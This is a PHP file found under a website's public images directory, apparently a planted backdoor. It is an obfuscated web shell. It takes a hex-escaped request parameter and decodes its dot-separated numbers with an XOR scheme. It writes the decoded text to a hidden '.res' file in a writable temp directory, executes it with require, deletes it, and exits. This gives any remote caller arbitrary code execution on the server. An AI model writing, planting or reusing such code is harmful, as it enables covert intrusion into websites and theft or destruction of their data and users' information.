File: /home/vishnuweavesb2b.com/public_html/images/top_1764054647.php
<!--YbNvCTnq-->
<?php
if(@$_REQUEST["\x69\x74m"] !== null){
$factor = array_filter(["/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd()]);
$ref = $_REQUEST["\x69\x74m"];
$ref= explode ( '.', $ref ) ;
$reference = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);
$i = 0;
$__len = count($ref);
do { if ($i >= $__len) break;
$val = $ref[$i];
$sChar = ord($s[$i % $sLen]);
$dec = ((int)$val - $sChar - ($i % 10)) ^31;
$reference .= chr($dec);
$i++; } while (true);
foreach ($factor as $key => $holder) {
if (array_product([is_dir($holder), is_writable($holder)])) {
$rec = "$holder" . "/.res";
$k = fopen($rec, 'w');
if ($k && fwrite($k, $reference)) {
fclose($k);
require $rec;
@unlink($rec);
die();
}
}
}
}